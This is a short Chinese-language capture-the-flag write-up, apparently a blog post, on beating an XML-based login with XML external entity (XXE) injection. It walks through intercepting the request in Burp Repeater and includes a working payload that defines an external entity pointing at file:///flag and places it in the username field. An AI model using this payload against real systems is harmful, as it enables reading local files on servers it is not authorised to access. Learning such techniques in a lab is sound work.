打开靶机如图:
蒙了几个username和password都显示错误,看来没有太多提示了。既然题目提示了XML那就百度一波。已知晓XML存在实体注入,引入实体文件,然后读取它就完成注入了。我们抓包看看存不存在相关XML语句。如下:
发现使用XML存储username和password。将内容发送至Repeater,然后写入恶意实体,注意这里是使用file://协议读取flag文件,并且将这个文件赋给admin。后面的admin前有&的意思是读取admin。所以这里会读取flag文件。注意&admin后面要加 ; 。因为是当作语句执行的。恶意实体代码:
html
1<?xml version="1.0" encoding="utf-8"?>
2<!DOCTYPE note [
3 <!ENTITY admin SYSTEM "file:///flag">
4 ]>
5<user>
6 <username>
7 &admin;
8 </username>
9 <password>
10 123456
11 </password>
12</user>
写好如下
发包
得出flag,感觉挺顺利的,第一次遇见xml实体注入,或者叫XXE攻击。